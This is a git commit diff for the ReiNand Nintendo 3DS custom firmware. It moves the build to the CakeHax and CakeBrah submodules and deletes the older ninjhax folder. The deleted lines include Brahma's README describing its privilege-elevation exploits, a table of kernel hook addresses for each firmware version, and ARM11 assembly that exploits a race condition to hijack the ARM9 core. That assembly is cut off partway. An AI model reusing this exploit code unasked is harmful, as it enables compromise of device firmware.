Got rid of sysnand mode, add key gen code, new splash screen, autoboot, update fatfs, removed ninjhax/mset folder for CakeBrah/CakeHax, lots of minor changes.
This commit is contained in:
parent
42df009858
commit
6a2c30503d
3
.gitignore
vendored
3
.gitignore
vendored
@ -1,7 +1,8 @@
|
||||
build.bat
|
||||
data/firmware.bin
|
||||
out
|
||||
mset
|
||||
CakeHax
|
||||
CakeBrah
|
||||
rnInstaller
|
||||
build
|
||||
*.bin
|
||||
|
9
.gitmodules
vendored
9
.gitmodules
vendored
@ -1,3 +1,6 @@
|
||||
[submodule "mset"]
|
||||
path = mset
|
||||
url = https://github.com/Reisyukaku/mset
|
||||
[submodule "CakeBrah"]
|
||||
path = CakeBrah
|
||||
url = https://github.com/mid-kid/CakeBrah
|
||||
[submodule "CakeHax"]
|
||||
path = CakeHax
|
||||
url = https://github.com/mid-kid/CakeHax
|
||||
|
1
CakeBrah
Submodule
1
CakeBrah
Submodule
@ -0,0 +1 @@
|
||||
Subproject commit aca4aa7d3b3d2d195788c0b2555b307fbac63a7f
|
1
CakeHax
Submodule
1
CakeHax
Submodule
@ -0,0 +1 @@
|
||||
Subproject commit 6b8fca0b37a370a605f76b34b133da91a0b40f5e
|
28
Makefile
28
Makefile
@ -12,18 +12,20 @@ ifneq ($(PYTHON_VER_MAJOR), 3)
|
||||
PYTHON3 := py -3
|
||||
endif
|
||||
|
||||
name := ReiNand
|
||||
|
||||
dir_source := source
|
||||
dir_data := data
|
||||
dir_build := build
|
||||
dir_mset := mset
|
||||
dir_mset := CakeHax
|
||||
dir_out := out
|
||||
dir_emu := emunand
|
||||
dir_thread := thread
|
||||
dir_ninjhax := ninjhax
|
||||
dir_ninjhax := CakeBrah
|
||||
|
||||
ASFLAGS := -mlittle-endian -mcpu=arm946e-s -march=armv5te
|
||||
CFLAGS := -MMD -MP -marm $(ASFLAGS) -fno-builtin -fshort-wchar -std=c11 -Wno-main
|
||||
FLAGS := dir_out=$(abspath $(dir_out))
|
||||
CFLAGS := -Wall -Wextra -MMD -MP -marm $(ASFLAGS) -fno-builtin -fshort-wchar -std=c11 -Wno-main
|
||||
FLAGS := name=$(name).dat dir_out=$(abspath $(dir_out)) ICON=$(abspath icon.png) --no-print-directory
|
||||
|
||||
objects_cfw = $(patsubst $(dir_source)/%.s, $(dir_build)/%.o, \
|
||||
$(patsubst $(dir_source)/%.c, $(dir_build)/%.o, \
|
||||
@ -34,7 +36,7 @@ objects_cfw = $(patsubst $(dir_source)/%.s, $(dir_build)/%.o, \
|
||||
all: launcher emunand thread ninjhax
|
||||
|
||||
.PHONY: launcher
|
||||
launcher: $(dir_out)/ReiNand.dat
|
||||
launcher: $(dir_out)/$(name).dat
|
||||
|
||||
.PHONY: emunand
|
||||
emunand: $(dir_out)/rei/emunand/emunand.bin
|
||||
@ -43,7 +45,7 @@ emunand: $(dir_out)/rei/emunand/emunand.bin
|
||||
thread: $(dir_out)/rei/thread/arm9.bin
|
||||
|
||||
.PHONY: ninjhax
|
||||
ninjhax: $(dir_out)/3ds/ReiNand
|
||||
ninjhax: $(dir_out)/3ds/$(name)
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
@ -51,16 +53,16 @@ clean:
|
||||
@$(MAKE) $(FLAGS) -C $(dir_ninjhax) clean
|
||||
rm -rf $(dir_out) $(dir_build)
|
||||
|
||||
.PHONY: $(dir_out)/ReiNand.dat
|
||||
$(dir_out)/ReiNand.dat: $(dir_build)/main.bin $(dir_out)/rei/
|
||||
.PHONY: $(dir_out)/$(name).dat
|
||||
$(dir_out)/$(name).dat: $(dir_build)/main.bin $(dir_out)/rei/
|
||||
@$(MAKE) $(FLAGS) -C $(dir_mset) launcher
|
||||
dd if=$(dir_build)/main.bin of=$@ bs=512 seek=144
|
||||
|
||||
$(dir_out)/3ds/ReiNand:
|
||||
@mkdir -p "$(dir_out)/3ds/ReiNand"
|
||||
@$(MAKE) -C $(dir_ninjhax)
|
||||
@cp -av $(dir_ninjhax)/ReiNand.3dsx $@
|
||||
@cp -av $(dir_ninjhax)/ReiNand.smdh $@
|
||||
$(dir_out)/3ds/$(name):
|
||||
@mkdir -p "$(dir_out)/3ds/$(name)"
|
||||
@$(MAKE) $(FLAGS) -C $(dir_ninjhax)
|
||||
@mv $(dir_out)/$(name).3dsx $@
|
||||
@mv $(dir_out)/$(name).smdh $@
|
||||
|
||||
$(dir_out)/rei/: $(dir_data)/firmware.bin $(dir_data)/splash.bin
|
||||
@mkdir -p "$(dir_out)/rei"
|
||||
|
@ -37,4 +37,6 @@ Pre-compiled version can still be found on my [pastebin](http://pastebin.com/c5A
|
||||
Normmatt for sdmmc.c and generally being helpful!
|
||||
|
||||
Me (Rei) for coding everything else.
|
||||
|
||||
The community for your support and help!
|
||||
|
BIN
data/splash.bin
BIN
data/splash.bin
Binary file not shown.
Before Width: | Height: | Size: 6.1 KiB After Width: | Height: | Size: 6.1 KiB |
1
mset
1
mset
@ -1 +0,0 @@
|
||||
Subproject commit 1a62ee6dea17b0fb88224259d420ca7026bd636d
|
6
ninjhax/.gitignore
vendored
6
ninjhax/.gitignore
vendored
@ -1,6 +0,0 @@
|
||||
*.elf
|
||||
*.3dsx
|
||||
*.smdh
|
||||
|
||||
build
|
||||
output
|
3
ninjhax/.gitmodules
vendored
3
ninjhax/.gitmodules
vendored
@ -1,3 +0,0 @@
|
||||
[submodule "source/libkhax"]
|
||||
path = source/libkhax
|
||||
url = git://github.com/Myriachan/libkhax
|
179
ninjhax/Makefile
179
ninjhax/Makefile
@ -1,179 +0,0 @@
|
||||
#---------------------------------------------------------------------------------
|
||||
.SUFFIXES:
|
||||
#---------------------------------------------------------------------------------
|
||||
|
||||
ifeq ($(strip $(DEVKITARM)),)
|
||||
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
||||
endif
|
||||
|
||||
TOPDIR ?= $(CURDIR)
|
||||
include $(DEVKITARM)/3ds_rules
|
||||
|
||||
# This should be set externally
|
||||
name ?= reiNand.dat
|
||||
filepath ?=
|
||||
dir_out ?= $(CURDIR)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# TARGET is the name of the output
|
||||
# BUILD is the directory where object files & intermediate files will be placed
|
||||
# SOURCES is a list of directories containing source code
|
||||
# DATA is a list of directories containing data files
|
||||
# INCLUDES is a list of directories containing header files
|
||||
#
|
||||
# NO_SMDH: if set to anything, no SMDH file is generated.
|
||||
# APP_TITLE is the name of the app stored in the SMDH file (Optional)
|
||||
# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional)
|
||||
# APP_AUTHOR is the author of the app stored in the SMDH file (Optional)
|
||||
# ICON is the filename of the icon (.png), relative to the project folder.
|
||||
# If not set, it attempts to use one of the following (in this order):
|
||||
# - <Project name>.png
|
||||
# - icon.png
|
||||
# - <libctru folder>/default_icon.png
|
||||
#---------------------------------------------------------------------------------
|
||||
TARGET := $(name:.dat=)
|
||||
BUILD := build
|
||||
SOURCES := source source/libkhax
|
||||
DATA := data
|
||||
INCLUDES := include
|
||||
APP_TITLE ?= $(name:.dat=)
|
||||
APP_DESCRIPTION ?= Privileged ARM11/ARM9 Code Execution
|
||||
APP_AUTHOR ?= patois
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# options for code generation
|
||||
#---------------------------------------------------------------------------------
|
||||
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
|
||||
|
||||
CFLAGS := -g -Wall -Wextra -O3 -mword-relocations \
|
||||
-fomit-frame-pointer -ffast-math \
|
||||
$(ARCH)
|
||||
|
||||
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DLAUNCHER_PATH='"$(filepath)$(name)"'
|
||||
|
||||
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11
|
||||
|
||||
ASFLAGS := -g $(ARCH)
|
||||
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
|
||||
|
||||
LIBS := -lctru -lm
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# list of directories containing libraries, this must be the top level containing
|
||||
# include and lib
|
||||
#---------------------------------------------------------------------------------
|
||||
LIBDIRS := $(CTRULIB)
|
||||
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# no real need to edit anything past this point unless you need to add additional
|
||||
# rules for different file extensions
|
||||
#---------------------------------------------------------------------------------
|
||||
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||
#---------------------------------------------------------------------------------
|
||||
|
||||
export OUTPUT := $(dir_out)/$(TARGET)
|
||||
export TOPDIR := $(CURDIR)
|
||||
|
||||
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||
|
||||
export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||
|
||||
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# use CXX for linking C++ projects, CC for standard C
|
||||
#---------------------------------------------------------------------------------
|
||||
ifeq ($(strip $(CPPFILES)),)
|
||||
#---------------------------------------------------------------------------------
|
||||
export LD := $(CC)
|
||||
#---------------------------------------------------------------------------------
|
||||
else
|
||||
#---------------------------------------------------------------------------------
|
||||
export LD := $(CXX)
|
||||
#---------------------------------------------------------------------------------
|
||||
endif
|
||||
#---------------------------------------------------------------------------------
|
||||
|
||||
export OFILES := $(addsuffix .o,$(BINFILES)) \
|
||||
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
||||
|
||||
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||
-I$(CURDIR)/$(BUILD)
|
||||
|
||||
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
|
||||
|
||||
ifeq ($(strip $(ICON)),)
|
||||
icons := $(wildcard *.png)
|
||||
ifneq (,$(findstring $(TARGET).png,$(icons)))
|
||||
export APP_ICON := $(TOPDIR)/$(TARGET).png
|
||||
else
|
||||
ifneq (,$(findstring icon.png,$(icons)))
|
||||
export APP_ICON := $(TOPDIR)/icon.png
|
||||
endif
|
||||
endif
|
||||
else
|
||||
export APP_ICON := $(ICON)
|
||||
endif
|
||||
|
||||
.PHONY: $(BUILD) clean all
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
all: $(BUILD)
|
||||
|
||||
$(BUILD):
|
||||
@echo $(SFILES)
|
||||
@[ -d $@ ] || mkdir -p $@
|
||||
@make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
clean:
|
||||
@echo clean ...
|
||||
@rm -fr $(BUILD) $(OUTPUT).3dsx $(OUTPUT).smdh
|
||||
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
else
|
||||
|
||||
DEPENDS := $(OFILES:.o=.d)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# main targets
|
||||
#---------------------------------------------------------------------------------
|
||||
ifeq ($(strip $(NO_SMDH)),)
|
||||
.PHONY: all
|
||||
all : $(OUTPUT).3dsx $(OUTPUT).smdh
|
||||
endif
|
||||
cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label
|
||||
$(OUTPUT).3dsx : $(OFILES)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# you need a rule like this for each extension you use as binary data
|
||||
#---------------------------------------------------------------------------------
|
||||
%.bin.o : %.bin
|
||||
#---------------------------------------------------------------------------------
|
||||
@echo $(notdir $<)
|
||||
@$(bin2o)
|
||||
|
||||
# WARNING: This is not the right way to do this! TODO: Do it right!
|
||||
#---------------------------------------------------------------------------------
|
||||
%.vsh.o : %.vsh
|
||||
#---------------------------------------------------------------------------------
|
||||
@echo $(notdir $<)
|
||||
@python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin
|
||||
@bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@
|
||||
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h
|
||||
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h
|
||||
@echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h
|
||||
@rm ../$(notdir $<).shbin
|
||||
|
||||
-include $(DEPENDS)
|
||||
|
||||
#---------------------------------------------------------------------------------------
|
||||
endif
|
||||
#---------------------------------------------------------------------------------------
|
@ -1,121 +0,0 @@
|
||||
Brahma - Privilege elevation exploit for the Nintendo 3DS
|
||||
=========================================================
|
||||
|
||||
WTF is 'Brahma'?
|
||||
----------------
|
||||
Brahma is a development tool for the Nintendo 3DS platform that enables
|
||||
privileged code execution on the ARM9 processor of the Nintendo 3DS platform.
|
||||
It does so by exploiting two vulnerabilities in order to elevate its
|
||||
privileges.
|
||||
|
||||
The exploits utilized by Brahma are based on "commercial" exploits that
|
||||
have been reverse engineered. Brahma has been developed with the goal of
|
||||
understanding and documenting the nature of the exploits in mind and has
|
||||
been put further effort into during its development process in order to
|
||||
achieve reliable exploitation and stability.
|
||||
|
||||
Brahma comes with full source code that is based on libctru and requires
|
||||
existing user mode code execution privileges (Ninjhax), and can then be
|
||||
used to further elevate privileges to ARM9 pre-kernel / SVC mode.
|
||||
|
||||
Also, "Brahma, the creator" is a god in hinduism that is often portrayed
|
||||
with four heads and arms (heh... so funny :\).
|
||||
|
||||
How to build:
|
||||
-------------
|
||||
- Download and install devkitARM (http://devkitpro.org/wiki/Getting_Started)
|
||||
- Open a shell and run make
|
||||
|
||||
How to use:
|
||||
-----------
|
||||
- Prebuilt binary releases are available at
|
||||
https://github.com/patois/Brahma/releases
|
||||
- Run brahma.3dsx (using homebrew launcher)
|
||||
- By default, the exploit will attempt to gain ARM11 kernel privileges before
|
||||
finally gaining ARM9 pre-kernel privileges (by performing a "firmlaunch")
|
||||
|
||||
"Hotkeys" (press and hold during startup of BRAHMA):
|
||||
----------------------------------------------------
|
||||
|
||||
* LEFT : Loads 'arm9payload.bin' from the root folder of the 3DS' SD card
|
||||
and executes it
|
||||
|
||||
* RIGHT : Performs a reboot / firm launch of the 3DS system
|
||||
|
||||
* NONE : Displays a menu which allows payload files to be received via
|
||||
a WiFi network connection or loaded from the '/brahma' folder
|
||||
located in the root folder of the SD card
|
||||
|
||||
In order to send payload files to the 3DS via a network connection,
|
||||
the Python script '/tools/client.py' can be used. Alternatively, netcat
|
||||
does the job as well.
|
||||
|
||||
Syntax:
|
||||
-------
|
||||
client.py: 'python client.py <3DS ip> <filename>'
|
||||
netcat: 'nc <3DS ip> 80 < <filename>'
|
||||
|
||||
Examples:
|
||||
---------
|
||||
client.py: 'python client.py 10.0.0.5 payload.bin'
|
||||
netcat: 'nc 10.0.0.5 80 < payload.bin'
|
||||
|
||||
Example programs that run in privileged ARM9 mode can be downloaded from
|
||||
https://github.com/patois/3DSProjects/tree/master/Brahma/
|
||||
|
||||
A memory dumper (3DSDevTools) for Brahma is available at
|
||||
https://github.com/patois/3DSDevTools/releases
|
||||
|
||||
There is also a port of Decrypt9 by archshift which can be loaded using
|
||||
bootstrap or Brahma (use 'make' to build the project, then use one of the
|
||||
methods supported by Brahma to load the Decrypt9 payload). Decrypt9 can be
|
||||
downloaded from https://github.com/archshift/Decrypt9/tree/bootstrap
|
||||
|
||||
Developers:
|
||||
-----------
|
||||
Brahma and its exploits which enable privileged ARM9 code execution
|
||||
on the Nintendo 3DS may also be used as a "library" (#include "brahma.h")
|
||||
|
||||
- call brahma_init() - initializes Brahma
|
||||
- call load_arm9_payload() - loads a payload binary from disk
|
||||
- call firm_reboot() - executes a payload binary (privileged ARM9 code)
|
||||
- (please check the source code for more features and options)
|
||||
|
||||
ARM9 payload must consist of valid ARM9 executable code and will be
|
||||
mapped to physical address 0x23F00000 during run-time. Its code should begin
|
||||
with a branch instruction at offset 0 and a 'placeholder' for a u32
|
||||
variable at offset 4, which will be filled by Brahma with a backup of
|
||||
the original ARM9 entry point of the FIRM header during runtime.
|
||||
|
||||
Brahma is written in a way that allows developers of payload binaries
|
||||
to easily return control to the 3DS' firmware by simply returning from
|
||||
the main() function of the payload.
|
||||
|
||||
This allows reading and altering of memory contents, such as the mapped
|
||||
Nintendo firmware (including ARM9 kernel, Process9, ARM11 kernel and several
|
||||
processes running on the ARM11 core), for testing purposes, without requiring
|
||||
any changes on the file system level.
|
||||
|
||||
Credits:
|
||||
--------
|
||||
- To 3dbrew.org and all its contributors for being such a great resource
|
||||
- To whomever initially found the vulnerabilities and wrote the publicly
|
||||
available exploit code
|
||||
- To everybody who's been working on porting this exploit and its various
|
||||
"bootstrap" branches to newer firmware versions and improving its stability
|
||||
(in particular yifanlu, yuriks and shinyquagsire23)
|
||||
- To everybody involved in creating libctru, Ninjhax and the Homebrew Menu
|
||||
|
||||
Disclaimer:
|
||||
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES,
|
||||
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS
|
||||
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
|
||||
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
|
||||
IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
|
||||
OF SUCH DAMAGE.
|
||||
|
||||
(c) 2015, patois
|
@ -1,23 +0,0 @@
|
||||
CakeBrah
|
||||
========
|
||||
|
||||
This is a fork of Brahma, that loads CakeHax payloads in the environment they expect.
|
||||
This means mostly setting the framebuffer offsets and mode right.
|
||||
|
||||
How to use this in your project
|
||||
-------------------------------
|
||||
|
||||
Look at [CakeHax](https://github.com/mid-kid/CakeHax) for this. It's pretty much the same.
|
||||
No injection with dd is needed, as it loads the payload from your .dat file.
|
||||
The different configuration flags are detailed below.
|
||||
|
||||
### Makefile options
|
||||
|
||||
Name |Default |Description
|
||||
----------------|------------------------------------|-----------
|
||||
dir\_out |$(CURDIR) |Where the output files should be placed (3dsx and smdh).
|
||||
name |Cakes.dat |The name of the .dat file from which the payload will be loaded.
|
||||
filepath | |Path in the SD card where the .dat file is located.
|
||||
APP\_TITLE |Cakes |The title of the app shown in the Homebrew Menu.
|
||||
APP\_DESCRIPTION|Privileged ARM11/ARM9 Code Execution|The description of the app shown in the Homebrew Menu.
|
||||
APP\_AUTHOR |patois |The author of the app shown in the Homebrew Menu.
|
@ -1,27 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include "exploitdata.h"
|
||||
|
||||
u32 brahma_init (void);
|
||||
u32 brahma_exit (void);
|
||||
s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize);
|
||||
s32 load_arm9_payload_from_mem (u8* data, u32 dsize);
|
||||
void redirect_codeflow (u32 *dst_addr, u32 *src_addr);
|
||||
s32 map_arm9_payload (void);
|
||||
s32 map_arm11_payload (void);
|
||||
void exploit_arm9_race_condition (void);
|
||||
s32 get_exploit_data (struct exploit_data *data);
|
||||
s32 firm_reboot ();
|
||||
|
||||
#define load_arm9_payload(filename) load_arm9_payload_offset(filename, 0, 0)
|
||||
|
||||
#define BRAHMA_NETWORK_PORT 80
|
||||
|
||||
#define ARM_JUMPOUT 0xE51FF004 // LDR PC, [PC, -#04]
|
||||
#define ARM_RET 0xE12FFF1E // BX LR
|
||||
#define ARM_NOP 0xE1A00000 // NOP
|
||||
|
||||
extern void *arm11_start;
|
||||
extern void *arm11_end;
|
||||
extern void *arm9_start;
|
||||
extern void *arm9_end;
|
@ -1,189 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#define SYS_MODEL_NONE 0
|
||||
#define SYS_MODEL_OLD_3DS 1
|
||||
#define SYS_MODEL_NEW_3DS 2
|
||||
|
||||
#define PA_EXC_HANDLER_BASE 0x1FFF4000
|
||||
#define PA_FCRAM_BASE 0x20000000
|
||||
#define OFFS_FCRAM_MAPPED_FIRM 0x04000000
|
||||
#define OFFS_FCRAM_ARM9_PAYLOAD 0x03F00000
|
||||
#define OFFS_EXC_HANDLER_UNUSED 0xC80
|
||||
#if OFFS_FCRAM_ARM9_PAYLOAD >= OFFS_FCRAM_MAPPED_FIRM
|
||||
#error ERRROR: Invalid ARM9 payload offset
|
||||
#endif
|
||||
#define ARM9_PAYLOAD_MAX_SIZE (OFFS_FCRAM_MAPPED_FIRM - OFFS_FCRAM_ARM9_PAYLOAD)
|
||||
|
||||
/* any changes to this structure must also be applied to
|
||||
the data structure following the 'arm11_globals_start'
|
||||
label of arm11.s */
|
||||
struct arm11_shared_data {
|
||||
u32 va_pdn_regs;
|
||||
u32 va_pxi_regs;
|
||||
u32 va_hook1_ret;
|
||||
};
|
||||
|
||||
struct exploit_data {
|
||||
|
||||
u32 firm_version;
|
||||
u32 sys_model; // mask
|
||||
|
||||
u32 va_patch_hook1;
|
||||
u32 va_patch_hook2;
|
||||
u32 va_hook1_ret;
|
||||
|
||||
u32 va_fcram_base;
|
||||
u32 va_exc_handler_base_W;
|
||||
u32 va_exc_handler_base_X;
|
||||
u32 va_kernelsetstate;
|
||||
|
||||
u32 va_pdn_regs;
|
||||
u32 va_pxi_regs;
|
||||
};
|
||||
|
||||
// add all vulnerable systems below
|
||||
static const struct exploit_data supported_systems[] = {
|
||||
{
|
||||
0x022E0000, // FIRM version
|
||||
SYS_MODEL_NEW_3DS, // model
|
||||
0xDFFE7A50, // VA of 1st hook for firmlaunch
|
||||
0xDFFF4994, // VA of 2nd hook for firmlaunch
|
||||
0xFFF28A58, // VA of return address from 1st hook
|
||||
0xE0000000, // VA of FCRAM
|
||||
0xDFFF4000, // VA of lower mapped exception handler base
|
||||
0xFFFF0000, // VA of upper mapped exception handler base
|
||||
0xFFF158F8, // VA of the KernelSetState syscall (upper mirror)
|
||||
0xFFFBE000, // VA PDN registers
|
||||
0xFFFC0000 // VA PXI registers
|
||||
},
|
||||
{
|
||||
0x022C0600, // FIRM version
|
||||
SYS_MODEL_NEW_3DS, // model
|
||||
0xDFFE7A50, // VA of 1st hook for firmlaunch
|
||||
0xDFFF4994, // VA of 2nd hook for firmlaunch
|
||||
0xFFF28A58, // VA of return address from 1st hook
|
||||
0xE0000000, // VA of FCRAM
|
||||
0xDFFF4000, // VA of lower mapped exception handler base
|
||||
0xFFFF0000, // VA of upper mapped exception handler base
|
||||
0xFFF158F8, // VA of the KernelSetState syscall (upper mirror)
|
||||
0xFFFBE000, // VA PDN registers
|
||||
0xFFFC0000 // VA PXI registers
|
||||
},
|
||||
{
|
||||
0x02220000,
|
||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||
0xEFFE4DD4,
|
||||
0xEFFF497C,
|
||||
0xFFF84DDC,
|
||||
0xF0000000,
|
||||
0xEFFF4000,
|
||||
0xFFFF0000,
|
||||
0xFFF748C4,
|
||||
0xFFFD0000,
|
||||
0xFFFD2000
|
||||
},
|
||||
{
|
||||
0x02230600,
|
||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||
0xEFFE55BC,
|
||||
0xEFFF4978,
|
||||
0xFFF765C4,
|
||||
0xF0000000,
|
||||
0xEFFF4000,
|
||||
0xFFFF0000,
|
||||
0xFFF64B94,
|
||||
0xFFFD0000,
|
||||
0xFFFD2000
|
||||
},
|
||||
{
|
||||
0x022E0000,
|
||||
SYS_MODEL_OLD_3DS,
|
||||
0xDFFE59D0,
|
||||
0xDFFF4974,
|
||||
0xFFF279D8,
|
||||
0xE0000000,
|
||||
0xDFFF4000,
|
||||
0xFFFF0000,
|
||||
0xFFF151C0,
|
||||
0xFFFC2000,
|
||||
0xFFFC4000
|
||||
},
|
||||
{
|
||||
0x022C0600,
|
||||
SYS_MODEL_OLD_3DS,
|
||||
0xDFFE4F28,
|
||||
0xDFFF4974,
|
||||
0xFFF66F30,
|
||||
0xE0000000,
|
||||
0xDFFF4000,
|
||||
0xFFFF0000,
|
||||
0xFFF54BAC,
|
||||
0xFFFBE000,
|
||||
0xFFFC0000
|
||||
},
|
||||
{
|
||||
0x02280000,
|
||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||
0xEFFE5B30,
|
||||
0xEFFF4978,
|
||||
0xFFF76B38,
|
||||
0xF0000000,
|
||||
0xEFFF4000,
|
||||
0xFFFF0000,
|
||||
0xFFF64AAC,
|
||||
0xFFFD0000,
|
||||
0xFFFD2000
|
||||
},
|
||||
{
|
||||
0x02270400,
|
||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||
0xEFFE5B34,
|
||||
0xEFFF4978,
|
||||
0xFFF76B3C,
|
||||
0xF0000000,
|
||||
0xEFFF4000,
|
||||
0xFFFF0000,
|
||||
0xFFF64AB0,
|
||||
0xFFFD0000,
|
||||
0xFFFD2000
|
||||
},
|
||||
{
|
||||
0x02250000,
|
||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||
0xEFFE5AE8,
|
||||
0xEFFF4978,
|
||||
0xFFF76AF0,
|
||||
0xF0000000,
|
||||
0xEFFF4000,
|
||||
0xFFFF0000,
|
||||
0xFFF64A78,
|
||||
0xFFFD0000,
|
||||
0xFFFD2000
|
||||
},
|
||||
{
|
||||
0x02260000,
|
||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||
0xEFFE5AE8,
|
||||
0xEFFF4978,
|
||||
0xFFF76AF0,
|
||||
0xF0000000,
|
||||
0xEFFF4000,
|
||||
0xFFFF0000,
|
||||
0xFFF64A78,
|
||||
0xFFFD0000,
|
||||
0xFFFD2000
|
||||
},
|
||||
{
|
||||
0x02240000,
|
||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||
0xEFFE55B8,
|
||||
0xEFFF4978,
|
||||
0xFFF765C0,
|
||||
0xF0000000,
|
||||
0xEFFF4000,
|
||||
0xFFFF0000,
|
||||
0xFFF64B90,
|
||||
0xFFFD0000,
|
||||
0xFFFD2000
|
||||
}
|
||||
};
|
@ -1,4 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
u32 wait_key (void);
|
||||
void wait_any_key (void);
|
@ -1,8 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
void InvalidateEntireInstructionCache (void);
|
||||
void CleanEntireDataCache (void);
|
||||
void dsb(void);
|
||||
void DisableInterrupts (void);
|
||||
void EnableInterrupts (void);
|
||||
void InvalidateEntireDataCache (void);
|
@ -1,173 +0,0 @@
|
||||
.arm
|
||||
.align 4
|
||||
.code 32
|
||||
.text
|
||||
|
||||
.global arm11_start
|
||||
arm11_start:
|
||||
B hook1
|
||||
B hook2
|
||||
|
||||
hook1:
|
||||
STMFD SP!, {R0-R12,LR}
|
||||
|
||||
MOV R0, #64
|
||||
BL delay
|
||||
|
||||
MOV R0, #0
|
||||
BL pxi_send
|
||||
|
||||
BL pxi_sync
|
||||
|
||||
MOV R0, #0x10000
|
||||
BL pxi_send
|
||||
|
||||
BL pxi_recv
|
||||
BL pxi_recv
|
||||
BL pxi_recv
|
||||
|
||||
MOV R0, #2
|
||||
BL pdn_send
|
||||
|
||||
MOV R0, #0
|
||||
BL pdn_send
|
||||
|
||||
LDMFD SP!, {R0-R12,LR}
|
||||
|
||||
LDR R0, var_44836
|
||||
STR R0, [R1]
|
||||
LDR PC, va_hook1_ret
|
||||
|
||||
var_44836: .long 0x44836
|
||||
|
||||
@ copy hijack_arm9 routine and execute
|
||||
hook2:
|
||||
ADR R0, hijack_arm9
|
||||
ADR R1, hijack_arm9_end
|
||||
LDR R2, pa_hijack_arm9_dst
|
||||
MOV R4, R2
|
||||
BL copy_mem
|
||||
MOV r0, #0
|
||||
MCR p15, 0, r0, c7, c10, 0 @ Clean data cache
|
||||
MCR p15, 0, r0, c7, c10, 4 @ Drain write buffer
|
||||
MCR p15, 0, r0, c7, c5, 0 @ Flush instruction cache
|
||||
BX R4
|
||||
|
||||
@ exploits a race condition in order
|
||||
@ to take control over the arm9 core
|
||||
hijack_arm9:
|
||||
@ init
|
||||
LDR R0, pa_arm11_code
|
||||
MOV R1, #0
|
||||
STR R1, [R0]
|
||||
|
||||
@ load physical addresses
|
||||
LDR R10, pa_firm_header
|
||||
LDR R9, pa_arm9_payload
|
||||
LDR R8, pa_io_mem
|
||||
|
||||
@ send pxi cmd 0x44846
|
||||
LDR R1, pa_pxi_regs
|
||||
LDR R2, some_pxi_cmd
|
||||
